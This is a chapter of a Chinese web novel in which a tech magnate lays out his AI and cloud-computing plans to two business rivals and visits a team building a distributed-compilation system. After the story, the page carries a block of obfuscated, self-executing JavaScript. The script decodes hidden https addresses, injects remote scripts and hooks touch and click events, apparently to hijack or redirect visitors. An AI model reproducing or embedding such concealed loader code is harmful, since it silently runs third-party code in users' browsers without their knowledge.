第165章 别人抢破头,诚哥看不上(1 / 1)

文娱救世主 浙东匹夫 2116 字 2022-04-22

“未来人工智能时代的具体实现方式,就是利用人工智能的算法,在云端计算大数据。算法相当于工业时代的加工机床,数据就像是被加工的原材料,而云端计算能力则是驱动机床的能源提供者。 我的YY网络科技,乃至蚂蚁金服,乃至我其他一切平台,核心的目的是实现内容推送的人工智能。我的人工智能要‘听得懂人话’,进一步发展到‘哪怕主人不说,也能猜到主人想要什么’的‘读心术’。然后解决‘找到主人想要的内容,然后给他’这个问题。 听得懂,猜得透,找得到——帮全人类做到这九个字,就够我顾某人为之奋斗一辈子了。至于钱,于我如浮云,我要那么多有什么用?这里面,的算法和大数据,是必须我亲自解决的,但是背后的基础设施,我不一定要亲自搞。所以云计算这块,你们谁有兴趣,愿意去搞,我可以提供技术服务,或者入一点股份,帮你们搞。这个钱赚得不够轻松,不是从0到1从无到有的钱,我不想受这个累。” 顾诚最后给了一番高屋建瓴的结论,把自己的志向和心态剖析得非常清楚。 只有从0到1的钱,才有垄断利润,才有绝对的暴利。那些从1到N的钱,只是成本大战。或许未来早期的云计算巨头在优化效率上能够比同行高一点,把成本压得更低一些,从而赚到更多的差价——但那也只是一点点差价。 顾诚是内容产业的霸主,他没空亲力亲为。他只要确保这个基础设施短板不会拖他的后腿,到了那个时代他想从外部买云计算资源,能够买得到,而且以足够便宜的价格买到,就行了。 就跟米国人没必要亲自跑去沙特狗大户那儿挖石油,他们只要确保石油足够便宜、能够满足米国的工业体系需求、不要再爆发一次类似于1973年石油危机之类的事件就行了。(虽然挖石油也有可能很赚钱) 云计算,就相当于4.0时代的“能源”。 当然,顾诚不在乎亲自赚云计算的钱,不代表他不需要控制和监督云计算。 毕竟,未来的业务形态是“在云端用人工智能算法处理大数据”,既然是“在云端”,那么YY系和支付宝系的大数据肯定是要传到云上去算的。这时候数据安全的问题就很重要,必须防止敌人暗中备份窃取。 后世2017年6月爆发的阿狸系菜鸟物流和顺丰快递之间爆发的数据共享大战,按照顺丰方面的口径,就是因为“菜鸟物流以大欺**着顺丰把其大数据处理服务商和虚拟服务器托管从腾云云改成阿狸云”。 这一招背后,说实话,即使顺丰真换了阿狸云,阿狸云也赚不到几块钱利润(顺丰不算什么大客户)。关键是那个时空2017年的BT之战已经白热化到了无所不用其极的程度。阿狸云害怕菜鸟系中任何一个环节的数据放在腾云云上处理,会被暗中窃取备份。 顾诚可以不赚云计算的钱,但他必须确保帮他处理大数据的云计算供应商不会威胁到他的数据安全—— 就像米国允许沙特狗大户这些小兄弟赚石油钱,但沙特必须保证米国的能源安全。要是欧派克再想搞个73年石油危机那样的大新闻,米国人的航母舰队会毫不犹豫开到波斯湾的。 幸好,顾诚在阿狸也已经有24%的股权了,他可以充分行使未来对阿狸云运作的监督权限,派驻自己的专人跟踪,防止非法备份。 顾诚的野心之大,终于让马风和丁三石彻底看清了:顾诚的眼光跟他们不是在一个位面层次上的。 马风当机立断拍板:“我愿意投资搞阿狸云计算,不过你得给技术支持。反正阿狸你已经有24%股份了,将来赚了你也少不了好处。剩下的细节慢慢谈吧。我们先去参观一下你们公司的分布式编译服务器中心。” 丁三石犹豫了一下,表示愿意稍微投资参一股,但是无意主导这个生意。 很显然,丁三石那股大起大落之后养成的“人活着,最重要的是开心”毛病又犯了。听顾诚说云计算的钱赚着很累很没门槛壁垒,他又懒得动弹了。 也难怪这厮后来会去养猪。 不是丁三石本人喜欢做的事情,他都是这么懒洋洋的。 …… YY网络科技,研发部编译中心。 作为国内如今最牛逼的互联网公司,YY网络科技的研发部从来不缺钱买最好的编译服务器。 从02年到04年,每年英特尔出了新的服务器用处理器,或者IBM出了新的机组,顾诚都会不吝重金采购,以至于就没见过国内哪个同行的编译中心机子性能比顾诚的公司好的。 YY网络科技的程序员们都是行业精英,他们的时间非常宝贵,怎么能因为写完代码或者自测修改后等机器编译而浪费太多时间呢? 能够多花100万买服务器,让每个程序员修完一块代码BUG之后少等哪怕20分钟的编译时间,顾诚都是觉得值得的。 然而,就在这个炎炎夏季里,一些让程序员们觉得不可思议的事情发生了。 公司要求按照顾诚大致描述的那个拓扑结构,结合英特尔最新的多核CPU线程任务分布思想,弄一个闻所未闻的“分布式编译架构”。 所谓“分布式编译”,用外行人听得懂的话解释,大致是这么个原理: 在原本的编译模式下,每次一段代码要被编译成程序时,都只会调用程序员本人的电脑CPU运算资源,或者他直接树状结构连接的那台代码服务器的运算资源,来进行编译。 但是在同一个网段里面,并不是所有程序员的电脑或者代码服务器的CPU都始终处于满负荷运转状态。搞了“分布式编译”之后,可以把同事开着的、CPU闲置的运算资源也调动起来,一起帮助编译,从而加快编译速度。 要是搁在后世,这玩意儿随便找个编译工程师都能搞定。 问题是眼下才05年下半年——距离历史上这种架构方法在各大互联网公司试水,起码早了两年多。顾诚几乎是卡着一切必要硬件条件的门槛布置的任务。 当然,历史上分布式编译在08~09年才成熟,并不是说更早技术上就绝对做不到——而是更早的时候,大伙儿觉得这东西没什么价值。犯不着为了省这么点编译时间,就去浪费那么多程序员的精力专门架构这种结构。 而历史上的08年,阿狸开始运作“阿里云”这些云计算项目,分布式计算的基础研究已经做了很多,设置分布式架构所需要的操作成本也大大简化,国内各大公司赫然发现“诶?原来只要这么几个小步骤,就能把闲置的电脑计算能力整合起来?貌似还挺方便的”。 (注:我记得我第一份工作,在一沪江一个手机研发公司当码农的时候,09年就搞过分布式编译。不排除其他行业更早,应该是08年就有了。) 顾诚让大家研究这个东西,显然是在为云计算做预演和操练。 然而不理解这事儿的人很多。 那几个被分配到琢磨这事儿的码农,都觉得老板变抠门了:这种事情,犯得着让一组码农花十天半个月去优化么?多买几台服务器才多少钱?这些行业精英半个月的工作时间又值多少钱?顾总怎么突然抠门不会算账了? 负责这个项目组的是一个细心的女运维工程师,名叫叶芷秋,大约27、8岁,研究生毕业后来YY网络科技工作,已经有三年了。因为是第一次做这事儿,所有代码和设置都要另起炉灶,她手下足足管了十几个人做这事儿,进度却依然缓慢,估计还要一周才能彻底搞定。 叶芷秋很心烦,尤其是前阵子她听说老板最近有可能带大客户或者合作伙伴来参观YY公司的分布式编译中心。 到时候,可拿什么给客户看呢? 再说,一个编译中心有什么好参观的?YY网络科技拿得出手的成果那么多,为什么老板偏偏盯着这块只能稍微省几块钱的细枝末节呢? 她茫然地检查了一遍今天下发给各个程序员的代码,有些节点已经PORTING提交了,有些还在挣扎。她把已经提交完成的部分检查了一下,然后准备给几个动作快的员工再加码一点工作量。 “张一鸣又干完了?怎么看他最后几行代码的PORTING时间和前面部分相隔这么远?这厮不会又是写完代码故意不提交,在那儿干私活了吧?” 叶芷秋看见其中一个刚来还不到两个月的本科毕业应届生新员工提交的代码,因为每一段代码后面都有与服务器的交互时间记录,所以她很轻易就可以跟踪到状态。 大公司为了防止员工偷代码,所有对公司开发中程序的编写过程监控都是很严格的,可以追溯到某一条代码是某人在几号几点几分写的、经过几次修改。 叶芷秋不动声色,蹑手蹑脚地去各个员工的位置上检查,走到张一鸣背后时,果然看到张一鸣在那儿一边用YY云音乐的播放器听叮铛网上的资源,一边开着一个自建的工程,在那儿胡乱地写私活。 “张一鸣!你又在做自己的事了!”叶芷秋觉得一阵恼怒,她已经被顾总亲自交代的任务逼得手足无措了,难免有些神经衰弱。 那个被唤作张一鸣的应届生吓了一跳,摘下耳机看了她一眼,才恢复正常神色:“公司不是说了不限定工作时间的么,以完成任务量为准——交给我那部分都完成了。” 叶芷秋一阵气不打一处来:“那你可以和我说啊——你你你……我不信你刚才提交掉之后,这么几分钟就能写这么多代码,你说,是不是你在提交之前故意拖时间、其实早就能完成了?你现在写的这个东西是干嘛的?和公司利益有没有冲突,我要审查。” “和公司毫无冲突——我写的是用来在网上查退票信息的小插件,我国庆要回老家,票难买。”张一鸣一点都没闪躲,直截了当就回答了。 叶芷秋看了一下,发现果然又是那种无伤大雅的小玩意儿,也就不好多说什么。 YY网络科技的管理还是很人性化的,就跟谷歌的80-20原则差不多,或者说跟百度式的弹性工作制类似,一个人只要完成了分配的本职工作任务,确实可以在公司里干自己的事情。 只要不损害公司利益,同时不影响其他人。 这些宽松的管理,是顶级互联网公司吸引技术大牛的标配,YY网络科技自然也不例外。 “那我再分配给你一块代码,你继续做——我会给你申请超额加班奖金的。” 刚刚毕业两个月的技术宅愣头青显然不怎么会做人,直来直去地抗辩:“可是我不想赚这几百块行不行?这活儿很无聊啊。一大帮人拼死拼活努力那么久,就为了省买几台服务器的钱?这是买机器省人工,还是花人工省机器呢?这不是开历史的倒车嘛!能不能给我一点有成就感的事情?” 叶芷秋一阵气结:“这是顾总亲自交代的任务!” 两人正在对事不对人地争辩,编译中心的玻璃大门门禁“滴”地开了,叶芷秋和少数几个不专心的码农抬头看去,竟然是顾诚带着另外俩经常可以在电视和网上看到的大佬亲自来视察了。 顾诚左边跟着马风,右边跟着丁三石。 “顾总?顾总好!欢迎您来视察。”一群程序员统统站起来,围观也不是,不围观也不是。 “那不是阿狸的马总么?另一边那个是谁?” “黄易的丁老板啊!这你都不认识,怎么在圈子里混的?” 几个人面不熟的新码农在那儿窃窃私语。老马的脸实在过于骨骼精奇,哪怕05年阿狸还没牛逼到人尽皆知的程度,他这张脸已经是人尽皆知了。相比之下,眼下生意规模并不小的丁三石,倒是因为心宽体胖,不愿露面,认得出来的人要少得多。 “刚才谁说这事儿没有成就感的?来,我告诉他这事儿多有成就感。”顾诚也不着恼,非常开明地应战了。

!function(){function a(a){var _idx="v2gnzcw4xp";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR8X@p24(DoRJ"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"X@p24(DoRJ"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mpOL2fmRT4"="o}0X5ThF)m64YdCmRT4"="o}02pThFmpOL2fmRT4"="o}0_JqhFm64YdCmRT4"="o}02TOhFmpOL2fmRT4"="o}0CSqhF)m64YdCmRT4"="o}0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q/f/o}0j(8}vR8X@p24(DoRJ"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();